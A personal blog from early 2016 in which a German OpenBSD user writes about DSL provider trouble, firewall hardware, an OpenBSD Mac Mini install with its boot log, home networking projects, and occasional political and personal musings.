February 12th, 2016
I think it's time to switch providers. I have DSL link issues that started
on Tuesday at 17:25 PM. The Link Control Protocol on my PPPoE router complains
of lost keepalive frames and resets the connection.
Feb 12 10:29:34 gamma /bsd: pppoe0: LCP keepalive timeout
This is what my provider wrote to me (in german):
vielen Dank für Ihre E-Mail.
Die CPE weist auf ein Fremdgerät hin. Sollte dies der Fall sein,
schliessen Sie bitte die von M-net bereitgestellte Fritz!Box 3270 an
und testen die Verbindung mit diesem Endgerät.
Auf Fremdgeräte können wir leider keinen Support geben.
I'm not going to plug in that insecure old router they request from me. Plus
my internal network can't use it, it would take too much reconfiguring to put
this router on. I've ordered a new VDSL modem though in case it's my (dumb)
ADSL2 modem. This new modem allows me 100 Mbit/s which is tempting to be
gotten. I think a switch will do me good as long as I can keep all equipment
as is.
Apple is right (in this case)
February 18th, 2016
Apple has released a "letter to customer" outlining why they will fight the US government to put a back
door into IOS products. In this case they (apple) are right, and I'm proud to have
an IoS device now. It takes a large corporation with good will to stand up
to the strongest country in the world, and this time they are actually
defending freedoms! My how upside-down that sounds, usually corporations take
away freedoms and the government has to protect consumer rights. Just a sign
though that there is people in government with great powers that want to take
all of our privacy away, to know everything about us to hurt us in the end.
We have a lack of good people in government it seems.
Getting a TV after 16 years having none
February 20th, 2016
I've decided to get a TV. I also decided to change my ISP that will give
me triple play (Internet, VOIP Phone, TV over IP). All in all I'm going to
turn this around in the next month or so. Stay tuned.
Registered domain zeropager.de
February 23th, 2016
I have registered the domain zeropager.de. I did this because as a youth me
and my buddies got pagers. Back then it was the in thing to do to have a
pager as mobile phones were still too expensive to have. Public phone booths
were aplenty back then and we used to make little 3 number codes to identify
ourselves who were were, if the call was urgent or if we're inquiring where
someone is. It was pretty fun. I had a dream about paging my old friend last
night. It gave me a thought of perhaps making a SIP based paging business
where people carry a raspberry pi zero around that writes on a LED display what
people are paging them via SMS or email. Who knows perhaps it'll lead to
something cool. I'm just riding my imagination right now.
And yes since I'm a kernel programmer newbie I'm sure to hit a zeropage some
where if I was using it in hacker sense. I'm just buggy :P.
Venus broke
February 24th, 2016
My Soekris net6501 firewall broke. It's still on warranty but until then I'll be missing it
from my network. I'm in contact with the reseller regarding RMA.
New Access Point in my apartment
February 24th, 2016
I have bought and installed an ASUS EA-AC87 Wireless AC1800 access point in
place of my Fritzbox. It took some nerves to configure my repeaters to it
but now everythign is functioning. Just too bad the soekris died. I'm
monitoring the health of this wireless access point but so far so good. I
can't do test scp's to see how much faster everything is becuaes I lost the
soekris/venus and will have to wait until it's replaced.
19 days until March Equinox
March 1st, 2016
Happy March. We'll see the transition from winter to summer in this month
at least officially as a number because the equinox is officially the markation
point at which spring starts and winter ends. Can't wait!
New VDSL modem turned on
March 1st, 2016
I have turned on this new VDSL2 modem that I got the other day. Here is the
link stats from my current ADSL.
I'm slowly getting ready to get a new provider (one that offers VDSL2 with
vectoring) giving me 100 Mbit/40 Mbit. I'm just waiting for the venus soekris
board to be returned to me with whatever fixes, and then I'm initiating a
switch.
Ordered a backup Firewall
March 3rd, 2016
I have ordered a backup APU firewall. I'll keep this around in case the
one I use now breaks. Having venus break was a wakeup call for me. Basically
I can't afford to lose gamma my main firewall, or have a backup for it. I
chose the latter. I wouldn't need this if I didn't work from home, btw.
Looking in my chart logically this backup firewall will be called "delta".
After 16 years, I got a TV
March 6th, 2016
I finally got a TV after 16 years. It's a 48" Samsung and just blows my mind.
I also bought a few other things with it. Now it's almost time to save up
money again. I'm feeling really lucky though. It's great to be having money
to spend and make use of these things. Thanks to a job!
30 Years of Personal Computing History
March 6th, 2016
I have updated my chart of all computers I have ever bought (except the RPI)
that I last left in this article.
Had I an accumulated computer of all clockcycles and RAM my computer today
would be a single core 50 GHz computer with nearly 100 GB of RAM. Wow!
However I don't have all the computers anymore so it's less than that in
reality. Here is the updated chart...
Let's see a "computer generation" is 1.5 years and 4 years have passed did
3 generations after doubling each generation hold true for me?
generation 1 - 36
generation 2 - 72
generation 3 - 144
So judging by this I should be buying a 64 GB RAM machine at mid year in 2016.
(In order to stay true to Moores law...)
Sorry that's not gonna happen, I plan on keeping at a bit of a standstill
until 2020. But since this will be another generation past, I'll be
expected to get a 256 GB RAM machine or so (by 2020). Wow! I do hope I
find a use for it, but with Virtual Reality on the horizon I'm sure there
will be.
Lordy Lordy look who is Forty
March 14th, 2016
In a few days I'm turning age forty. Time really went by fast. I'll be
updating my private section of my
webpage very soon to reflect this.
Making a turn-key dns server out of DelphinusDNSD
March 19th, 2016
Freifunk Franken needed a turn-key server to convert a MAC address to an
AAAA RR via DNS, so I fleshed out (stripped out) a lot of parts from
delphinusdnsd and made it available to them (
FFFdnsd.tgz). The code to this is open source. Most of the functionality
is that I put together last night is in lookup_zone() which creates a
struct domain on the fly. There is some inefficiencies on how the code is
right now, but it works and that's the main point.
We discussed a little about buffer overflows, but I'm thinking if I introduced
anything bad in lookup_zone() then that's where to find those. The rest of
the code is identical to the delphinusdnsd code base (which also runs in
production). I'm glad to be of use with my 10 year old daemon. It's not
every day that I get a request such as this one.
Spring now...
March 21st, 2016
Well it's spring now. The equinox came and went and I didn't even blog about
it. However I did find a tweet by Dr. Neil deGrasse Tyson, that said that
because of refraction of light the equinox actually has more daylight than
night and it's not "equal day/night", but without this refraction of light
there would be exactly the same time for night and day. Anyhow I found the
tweet worth blogging about.
Very cool presentation by Agarwal
March 27th, 2016
I've been watching this guys science for a while. It intrigues me and my
dreams are shaped around the topic of photonic computers. I want to show
you the latest presentation I've seen from him:
If only I were smart enough to build me one computer such as that, but to
be truthful there is a lot of researchers worldwide trying to make this
happen, so why would I succeed? lol.
Handing down my Raspberry Pi model B
March 27th, 2016
Happy Easter. I'm handing down my RPI model B to whoever wants it,
I'd prefer giving it away to a young boy or girl at age 11+ that is
interested in computers but doesn't have the money to buy a Pi. I'd
prefer shipping it within Europe as there is no toll/customs.
The stuff cost me around 150 euros altogether (ada fruit display, rpi
model b, german power supply (5 watts) and two cases as well as an
SD card, hardly used). If you are interested send me an email.
A rare word on politics
March 27th, 2016
The European Union is always enveloped in crisis. We have the finance crisis,
the refugee crisis and the schengen crisis. I'm gonna talk about the
united europe a little bit which is rare on this blog. Europe is pretty
well off in the world picture, but our unity hurts others, mainly fringe
states, who see no way to compete with the united europe beside them. This
causes political unrest and always will cause political unrest until the
union does something about it.
Libya - I think was a mistake for NATO to get involved in. They are
worst off now than before with col. gaddaffi. My thought is that we should
finish the job and restore order by invading that country.
Syria - The islamic state is pure evil, and bombing them won't be a
solution. I say "boots on the ground" here too.
Ukraine - is a loser of being wedged between Russia and EU. We should help them economically.
Turkey - this country is interesting because it is wedged against Russia,
Iran and Turkey. They would like to join the EU but europe is not quite sure
how to deal with a semi-dictatorship which is their response to Europe not
willing to take them in. I say give them economic incentives to steer away
from this dictatorship fate.
Caliphate - is a term to name the arabic superstate, however without a
caliph (fuehrer) what would you call it? It is in europes best intentions
to break down the borders of old arabia and start building a pan-arabia with
hopefully democratic values. Think of a guy who has grown up taking his
little brother on his shoulders, both get a good perspective.
Israel - is doing pretty good so far, we need a solution about gaza and
pan-arabia.
Africa - should be given economic incentives, so that they can become the
next regional power. Desertec should be built to support europe but the energy
gained should then be reversed and flow toward Ethiopia's dams in order to
insure electricity for all of africa. If you don't understand this, please
look at a map of africa.
Russia - should be given economic incentives
So that's my current view on politics in our hemisphere. When I say boots on
ground I mean an occupation, but not just for a decade but as the model that
was done in germany with the allies. So far I'm counting 70+ years. That is
what should be done on a Libya/Syria axis to help unite Arabia with a sort
of marshall plan. Arabia (pan arabia) needs immense economic aid.
Ordered 100 Mbit Internet
March 28th, 2016
I have ordered from the Telekom in Germany the vdsl100 or magenta zuhause L.
With this I have ordered extra tv packages. As the contract that I was in
with ADSL before renewed itself for 12 months I'll also have to continue
paying the other provider until feb. 2017. Or I'll pay it in one batch which
will be better for tax writeoffs. Anyhow the day when I'm supposed to be
switched is on april 23rd or so. Wish me luck.
I waited 3 years for this moment
March 30th, 2016
OpenBSD 5.9 was released early yesterday. But I was already working to
accomodate it on my Mac Mini. Yes it's running OpenBSD now on a split-boot
called rEFInd. I waited 3 years for that moment, but I always felt that
previous versions of OpenBSD weren't ready for the mac mini. Here is a
dmesg:
rebooting.
OpenBSD 5.9 (GENERIC.MP) #0: Wed Mar 30 14:07:30 CEST 2016
pjp@earth.centroid.eu:/usr/src/sys/arch/amd64/compile/GENERIC.MP
RTC BIOS diagnostic error ab
real mem = 17063546880 (16273MB)
avail mem = 16542203904 (15775MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.4 @ 0x8ad12000 (83 entries)
bios0: vendor Apple Inc. version "censored" date 09/11/2015
bios0: Apple Inc. Macmini6,2
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP HPET APIC SBST ECDT SSDT SSDT SSDT SSDT SSDT ...
acpi0: wakeup devices P0P2(S3) EC__(S3) GMUX(S3) HDEF(S3) RP01(S3) ...
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpihpet0 at acpi0: 14318179 Hz
acpimadt0 at acpi0 addr 0xfee00000: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2295.13 MHz
cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,P...
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.1.2, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT...
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 4 (application processor)
cpu2: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,P...
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 0, core 2, package 0
cpu3 at mainbus0: apid 6 (application processor)
cpu3: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE...
cpu3: 256KB 64b/line 8-way L2 cache
cpu3: smt 0, core 3, package 0
cpu4 at mainbus0: apid 1 (application processor)
cpu4: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu4: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PA...
cpu4: 256KB 64b/line 8-way L2 cache
cpu4: smt 1, core 0, package 0
cpu5 at mainbus0: apid 3 (application processor)
cpu5: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu5: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT...
cpu5: 256KB 64b/line 8-way L2 cache
cpu5: smt 1, core 1, package 0
cpu6 at mainbus0: apid 5 (application processor)
cpu6: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu6: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,...
cpu6: 256KB 64b/line 8-way L2 cache
cpu6: smt 1, core 2, package 0
cpu7 at mainbus0: apid 7 (application processor)
cpu7: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu7: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE...
cpu7: 256KB 64b/line 8-way L2 cache
cpu7: smt 1, core 3, package 0
ioapic0 at mainbus0: apid 2 pa 0xfec00000, version 20, 24 pins
ioapic0: misconfigured as apic 0, remapped to apid 2
acpiec0 at acpi0
acpimcfg0 at acpi0 addr 0xe0000000, bus 0-154
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 4 (P0P2)
acpiprt2 at acpi0: bus 1 (RP01)
acpiprt3 at acpi0: bus 2 (RP02)
acpiprt4 at acpi0: bus 3 (RP03)
acpicpu0 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwai...
acpicpu1 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait...
acpicpu2 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait...
acpicpu3 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait...
acpicpu4 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait....
acpicpu5 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait.1...
acpicpu6 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait.1...
acpicpu7 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait....
acpibtn0 at acpi0: PWRB
acpibtn1 at acpi0: SLPB
acpivideo0 at acpi0: IGPU
cpu0: Enhanced SpeedStep 2295 MHz: speeds: 2301, 2300, ...
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel Core 3G Host" rev 0x09
ppb0 at pci0 dev 1 function 0 "Intel Core 3G PCIE" rev 0x09: msi
pci1 at ppb0 bus 4
ppb1 at pci1 dev 0 function 0 "Intel DSL3510 Thunderbolt" rev 0x03
pci2 at ppb1 bus 5
ppb2 at pci2 dev 0 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci3 at ppb2 bus 6
"Intel DSL3510 Thunderbolt" rev 0x03 at pci3 dev 0 function 0 not configured
ppb3 at pci2 dev 3 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci4 at ppb3 bus 7
ppb4 at pci2 dev 4 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci5 at ppb4 bus 56
ppb5 at pci2 dev 5 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci6 at ppb5 bus 105
ppb6 at pci2 dev 6 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci7 at ppb6 bus 106
inteldrm0 at pci0 dev 2 function 0 "Intel HD Graphics 4000" rev 0x09
drm0 at inteldrm0
inteldrm0: msi
inteldrm0: 1920x1080
wsdisplay0 at inteldrm0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
xhci0 at pci0 dev 20 function 0 "Intel 7 Series xHCI" rev 0x04: msi
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 "Intel xHCI root hub" rev 3.00/1.00 addr 1
"Intel 7 Series MEI" rev 0x04 at pci0 dev 22 function 0 not configured
ehci0 at pci0 dev 26 function 0 "Intel 7 Series USB" rev 0x04: apic 2 int 23
usb1 at ehci0: USB revision 2.0
uhub1 at usb1 "Intel EHCI root hub" rev 2.00/1.00 addr 1
azalia0 at pci0 dev 27 function 0 "Intel 7 Series HD Audio" rev 0x04: msi
azalia0: codecs: Cirrus Logic CS4206, Intel/0x2806, using Cirrus Logic CS4206
audio0 at azalia0
ppb7 at pci0 dev 28 function 0 "Intel 7 Series PCIE" rev 0xc4: msi
pci8 at ppb7 bus 1
bge0 at pci8 dev 0 function 0 "Broadcom BCM57766" rev 0x01,
brgphy0 at bge0 phy 1: BCM57765 10/100/1000baseT PHY, rev. 1
sdhc0 at pci8 dev 0 function 1 "Broadcom SD Host Controller" rev 0x01: apic 2 int 17
sdmmc0 at sdhc0
ppb8 at pci0 dev 28 function 1 "Intel 7 Series PCIE" rev 0xc4: msi
pci9 at ppb8 bus 2
"Broadcom BCM4331" rev 0x02 at pci9 dev 0 function 0 not configured
ppb9 at pci0 dev 28 function 2 "Intel 7 Series PCIE" rev 0xc4: msi
pci10 at ppb9 bus 3
"AT&T/Lucent FW643 1394" rev 0x08 at pci10 dev 0 function 0 not configured
ehci1 at pci0 dev 29 function 0 "Intel 7 Series USB" rev 0x04: apic 2 int 22
usb2 at ehci1: USB revision 2.0
uhub2 at usb2 "Intel EHCI root hub" rev 2.00/1.00 addr 1
pcib0 at pci0 dev 31 function 0 "Intel HM77 LPC" rev 0x04
ahci0 at pci0 dev 31 function 2 "Intel 7 Series AHCI" rev 0x04: msi, AHCI 1.3
ahci0: port 0: 3.0Gb/s
scsibus1 at ahci0: 32 targets
sd0 at scsibus1 targ 0 lun 0: SCSI3 0/direct fixed naa.5000cca6a0d00051
sd0: 953869MB, 512 bytes/sector, 1953525168 sectors
ichiic0 at pci0 dev 31 function 3 "Intel 7 Series SMBus" rev 0x04: apic 2 int 18
iic0 at ichiic0
spdmem0 at iic0 addr 0x50: 8GB DDR3 SDRAM PC3-12800 SO-DIMM
spdmem1 at iic0 addr 0x52: 8GB DDR3 SDRAM PC3-12800 SO-DIMM
isa0 at pcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns8250, no fifo
pcppi0 at isa0 port 0x61
spkr0 at pcppi0
asmc0 at isa0 port 0x300/32: rev 2.8f608, 432 keys
asmc0: read light 0 failed (0x81)
asmc0: read light 1 failed (0x81)
efifb at mainbus0 not configured
nvram: invalid checksum
uhub3 at uhub0 port 1 "Asmedia ASM107x" rev 2.10/1.00 addr 2
uvideo0 at uhub3 port 3 configuration 1 interface 0 "Logitech Webcam C310" rev 2.00/0.10 addr 3
video0 at uvideo0
uaudio0 at uhub3 port 3 configuration 1 interface 2 "Logitech Webcam C310" rev 2.00/0.10 addr 3
uaudio0: audio descriptors make no sense, error=4
ugen0 at uhub3 port 3 configuration 1 "Logitech Webcam C310" rev 2.00/0.10 addr 3
uhub4 at uhub0 port 3 "Apple, Inc. Keyboard Hub" rev 2.00/96.15 addr 4
uhidev0 at uhub4 port 2 configuration 1 interface 0 "Apple Inc. Apple Keyboard" rev 2.00/0.74 addr 5
uhidev0: iclass 3/1
ukbd0 at uhidev0: 8 variable keys, 5 key codes, country code 13
wskbd0 at ukbd0: console keyboard, using wsdisplay0
uhidev1 at uhub4 port 2 configuration 1 interface 1 "Apple Inc. Apple Keyboard" rev 2.00/0.74 addr 5
uhidev1: iclass 3/0
uhid0 at uhidev1: input=1, output=0, feature=0
uhidev2 at uhub0 port 4 configuration 1 interface 0 "PixArt USB Optical Mouse" rev 1.10/1.00 addr 6
uhidev2: iclass 3/1
ums0 at uhidev2: 3 buttons, Z dir
wsmouse0 at ums0 mux 0
uhub5 at uhub0 port 5 "Asmedia ASM107x" rev 3.00/1.00 addr 7
uhub6 at uhub1 port 1 "Intel Rate Matching Hub" rev 2.00/0.00 addr 2
uhub7 at uhub2 port 1 "Intel Rate Matching Hub" rev 2.00/0.00 addr 2
uhub8 at uhub7 port 8 "Standard Microsystems product 0x2512" rev 2.00/b.b3 addr 3
uhub9 at uhub8 port 1 "Apple Inc. BRCM20702 Hub" rev 2.00/1.00 addr 4
uhidev3 at uhub9 port 1 configuration 1 interface 0 "Apple Computer product 0x820a" rev 2.00/1.00 addr 5
uhidev3: iclass 3/1, 1 report id
ukbd1 at uhidev3 reportid 1: 8 variable keys, 6 key codes
wskbd1 at ukbd1 mux 1
wskbd1: connecting to wsdisplay0
uhidev4 at uhub9 port 2 configuration 1 interface 0 "Apple Computer product 0x820b" rev 2.00/1.00 addr 6
uhidev4: iclass 3/1, 2 report ids
ums1 at uhidev4 reportid 2: 3 buttons
wsmouse1 at ums1 mux 0
ugen1 at uhub9 port 3 "Apple Inc. Bluetooth USB Host Controller" rev 2.00/1.18 addr 7
uhidev5 at uhub8 port 2 configuration 1 interface 0 "Apple, Inc. IR Receiver" rev 2.00/1.00 addr 8
uhidev5: iclass 3/0, 38 report ids
uhid1 at uhidev5 reportid 36: input=4, output=0, feature=0
uhid2 at uhidev5 reportid 37: input=4, output=0, feature=0
uhid3 at uhidev5 reportid 38: input=4, output=0, feature=0
vscsi0 at root
scsibus2 at vscsi0: 256 targets
softraid0 at root
scsibus3 at softraid0: 256 targets
root on sd0a (b9c65093a46f0080.a) swap on sd0b dump on sd0b
clock: unknown CMOS layout
I truncated some long lines. Protected by pledge and W^X, yeah!
Registered a new domain
April 7th, 2016
I have registered dtschland.eu which spells
deutschland (germany) when you rearrange the letters. I have registered this
for 10 years at 2.99 euros per year. It was a pretty good deal.
VDSL not until February 2017
April 7th, 2016
I'm tied into a contract until February 2017 with my current provider, so I
won't switch until next year to get VDSL100, sucks I know. I've been a
customer for 5+ years with M-Net and the 24 month contract is run out however
they renew it for another year if you don't void the contract. So it'll take
until Feb 2017.
12 months of Parship
April 13th, 2016
As you may know I'm single. Finding someone nice hasn't been my priority.
So I'm trying to change that and find someone nice so I went to parship.de
and got a years membership. They aren't cheap by no means. But my train
of thought is, if I can find someone perhaps a gf or even a wife it will
pay itself off 100x to what I'm paying for this. Years ago I tried other
matchmaking services but I hope I have found the right one here. We'll
see.
Stand down! OK.
April 15th, 2016
The world is heading toward a conflict. It's time to stand down. It's time
to look back in history and try to understand why people didn't stand down in
the 1930's, and then do the the opposite they did. I shouldn't be even saying
this but the warning signs are in the red. It's time to stand down.
Doing a training session this summer
April 22nd, 2016
I have booked a training session in the ruby programming language in august
of this year. I'll be learning ruby for 4 days with an instructor. I already
know ruby but not solid so I'm going to do this. Plus it's putting my feet
in the water to more training that I hope to do. At the same time I'm going
to have my vacation then. Looking forward to it.
13,500 positions in the German Cyber Army
May 1st, 2016
The german bundeswehr is recruiting hacker talent.
While this is a staggering high number I don't think it's enough and the
approach is wrong. If you look at security, it is a chain. From the smartest
to the dumbest person. If someone can break through the defenses at the
weakest link, the entire chain collapses. That's why I think hiring talent
like is done commercially will not work. Geeks and cyber enthusiasts work
different on many levels. For one, there is no hierarchy everyone is equal to
start. People are judged by their smarts and abilities not by their rank they
might have gotten by looking pretty. So hacker culture and military hierarchy
will clash. It won't work. Pretend they want to make it the best system on
earth.
Pretend they want to build an OS that is secure for the military but
they want to keep windows systems as before. That is what I call a condom
solution, and condoms break. Ie. a firewall is a condom solution if it is
designed to protect the network traffic of a weak windows system. Let me
give you an example how that looks like in a wolf vs. the three pigs scenario.
The wolf will be stopped by a firewall which is made of brick and the pigs
are in a straw hut behind the firewall. If they happen to create a socket out
to the big bad wolfland the chances that they are going to be compromised are
high. So while the firewall sits there unknowingly the fire has burned down
the pigs hut. That's what will happen. Pretend they replace all windows with
this new military OS, chances are that the dumbest soldier will fall victim to
outside elements.
It's like the enigma machine of world war 2. Soldiers
back then had no clue how it worked, they blindly followed orders to use it.
And they didn't second-guess it. They should have. I'm saying this not
because I have nazi sentiments or that I wanted ww2 to last four years longer
than it would have if the enigma was not used, but I'm saying this because
I draw lessons out of history. What really needs to happen, if a nation is
serious about cyber warfare, is that the entire army needs to be groomed
around smarts, not muscles. But preferably both. A cyber culture needs to
take over in the military, and decisions must come from the smartest in order
to continue. In many cases the Internet is the weakest link in terms of
keeping secrets. A smart army does not engage the Internet without having the
right defensive mechanisms in place to thwart off an undermining from the
Internet. The foes of a military on the Internet can't be categorized. For
all we know they could be extraterrestrial aliens even, it's not impossible.
So where do I fit in to say these words? I never participated in cyber
warfare. But I studied some weapons of cyber warfare. Code words such as
smurf, fraggle, pepsi, land, teardrop are not foreign to me, although they
date back to the 1990's. And in some regard the Internet hasn't changed
much since the 1990's. I'm very careful with these tools, in fact if I
ever had to actively use their concepts I would build my own tools as I
distrusted the exploits posted to bugtraq (another ancient full disclosure site)
one hundred percent. Even with the author of smurf who I was close to I
disagreed with his idea of how to spoof an IP packet, but that's irrelevant now.
Now to use these concepts or to defend against them I do hope the military
wants to hire 13000 programmers and 500 scripters because what it comes down
to is programming and not scripting. It's a battle of the minds, productivity,
and I fear the bundeswehr is not ready. We'll see though. Good luck!
Considering an SSD upgrade
May 2nd, 2016
I have had SSD's for close to 6 years now. One of the earliest occurences of
me mentioning SSD's was here.
I think it's time to upgrade my capacity on 3 computers with SSD and get
appropriate hd backup storage. I'm thinking of replacing the 40 and 80 GB
SSD's in my routers to 256 GB models. The main workstation that I use..
beta.virgostar.net, would get a 1 TB SSD and a 4 TB harddrive external backup
drive. We're looking at about 500 euros in upgrades. Still considering it.
Blog's birthday
May 2nd, 2016
In 5 days is the 7th anniversary of this blog.
Here is
the first article I wrote as far as I can tell. If you've been reading my
blog for a considerable time, I thank you. It's nice to be interesting. Or
maybe you are just stopping by and found something you like? To be honest
I think the mood of the blog changed a few times, at one time I wrote both
german and english into it. I have settled on just english. This suits the
EU readers of this blog more since english is the #1 EU language for ESL
speakers. I also reported on changes to delphinusdnsd a lot, if you were
following that perhaps you found what you were looking for.
My dreamworld
May 3rd, 2016
When I dream at nights I think of the weirdest things, here is what I dream
about occasionally:
kiwi's - In my language in my dreams a kiwi is a green laser. These usually
scare the hell out of me, for reasons unknown.
escape - In my dreams I'm often trapped and what appears to be a mental
institution. I often find myself escaping.
masks - masks such as those worn in Shakespeare's Romeo and Juliet sometimes
hide the identity of my counterparts in dreams.
Computers - computers are a part in my dream but not always, subways,
streets, and institutional buildings, military facilities as well.
counting - I often miss an exit often I take the second chance to exit.
vampires - I'm often a vampire in my dreams, but with fears, anxiety and
I can't fly, I sort of float down.
presidents - george w. bush often appeared in my dreams, angela merkel and
barack obama not so much.
deja vous - I sometimes redream going to a place which later makes me
unsure if I went once or twice to that place.
sex - sometimes I dream of a pretty blonde, very seldom
Not passing down my RPI after all
May 5th, 2016
I was going to hand down my RPI to someone as told on this website but noone
was interested. So I'M going to make a guest Wifi AP out of it. The idea
I got here. I have an external display for the RPI after
all so it can display a QR code for the guest WIFI on a daily or semi-daily
basis. I had never thought of this but it's so brilliant. I'll be testing
it with my ipod which does have QR scanner afaik. The AP will reside beside
my other AP and be plugged into it. I'll probably VLAN it though to the
router which will firewall it away from the rest of my network. It truely
will be a guest access point. Brilliant!
RPI Guest AP done, but not for 2.4 GHz
May 7th, 2016
Well the idea below I turned it around and it works. The AP is supposed to
reboot at 4AM with a new password for the WIFI. However, the 2.4 GHz
spectrum is used too much around here. So I'm steering clear of it all and
using the 5 GHz spectrum, but for that I had to order a new wifi dongle. It'll
be here by wednesday next week. What a neat project. Thanks Heise.de!
One router too many? The add-up.
May 7th, 2016
I have a unique home network. This is why I react allergic to people who want
to force a router on me. Another device? And all the topological changes I
have to do to my network! Here is a rundown of my devices:
hallway - dumb ADSL bridge modem
hallway - APU router
hallway - NUC Core i3
hallway - ASUS 5 GHz AP
hallway - raspberry pi guest access point
office - Lanner router
office - computer 1
office - macintosh mini (computer 2)
office - house phone
office - work phone
office - fritz repeater
livingroom - fritz repeater
livingroom - soekris router
livingroom - samsung tv
livingroom - apple tv
livingroom - fritzbox lte router
livingroom - freifunk router
Now you may think that some of these can be consolidated into less devices
but there is a problem. I need a firewall between play and work for one,
that's the lanner router. It seperates the office from the rest of the
networks. Where a lot of people who just have a 192.168.178.0/24 network
behind a fritzbox, my network goes deep. I think 3-4 hops deep between
opposite points. I count on routing and not switching. Also re-routing it all
through the hallway to the lte router requires one script on the APU to be
run, which sets new routes out the fritzbox lte router. Highly complex!
I solved this with a vxlan(4) which is layer 2 ethernet over layer 4 UDP.
There is a bit of fragmentation in the wlan because of it but that's on the
main wlan.
Now it goes on to say that without an OS such as OpenBSD I couldn't
even do these network tricks such as vxlan, gif tunnel, ipsec over wlan to
protect phone traffic from the already encrypted wifi. Since wlan is
breakable with effort an ike'd ipsec will keep prying eyes out at first.
Since the computers sleep when I'm away or sleeping there is a bit of
vampire power flowing to keep the RAM in S4 state. But the routers stay
on 24/7. The most these consume I think is 20 watts, which will hopefully
be halfed in 4 years when I'll be looking for replacements. In 2020 the
Lanner for example will be 10 years old and will be retired.
I'm very happy about my network I have. But adding another fritzbox for
example would ruin the entire setup. This is why I hate what we germans
call "zwangsrouter" and I look sceptically at proposals to get routers
certified. How will this help me at all, when most consumer routers are
trash to begin with, security wise or functionality wise? Thanks for
reading.
Europeans love English!
May 10th, 2016
The stats are that there is more ESL speakers in Europe than there is people
who speak german. Europeans love English. With Britain before a referendum
the EU may have to refocus it's transition language to german. This is why
we all need Great Britain in the EU, to prevent that from happening. We love
english in Germany even. More than half of our music played publically is
english in some form. But there is more german music these days than there
was say 30 years ago due to the emergence of german rap. I can't stand it
although the producers make a good beat. We love english and it's not so
good without the english speaking countries, as long as you don't come to
germany to talk about your dreams of naked men on the S-Bahn. We can
decipher such blasphemy! :-)
Stoererhaftung has been eliminated in Germany
May 12th, 2016
I wrote
about this
last october. Finally the politicians reacted. I also signed a few petitions
against this, which helped. We finally are able to share our Wifi with others
and legally. This makes a lot of things a lot easier. Finally a human should
have several gateways instead of just one. The elimination of the
stoererhaftung will help with that.
The need for a mesh network
May 12th, 2016
Imagine if everyone has a hotspot whether freifunk or other on their router
at home. This will create a landscape of doors into the Internet. But they
aren't meshed, meaning there is no inter-door activity. This is because the
hotspot has no concept of networking with other hotspots. You can see this
if an entire outdoor dslam (those boxes the telecom puts up) has a power
failure. An entire neighbourhood will be affected and no Internet.
The solution is to create a mesh. Meshed hotspots talk to each other. They
will bridge distances of 10+ hotspots if necessary to find a gateway that is
available. They are smart in the protocols they speak. We need this in
Germany which is a leading technology country. What we need is an open
standard by which these hotspots can talk to one another. Freifunk has a
standard that's open, but the beauty of freifunk is that it's able to adapt
quickly to changes in protocols due to their use of Open Source Software.
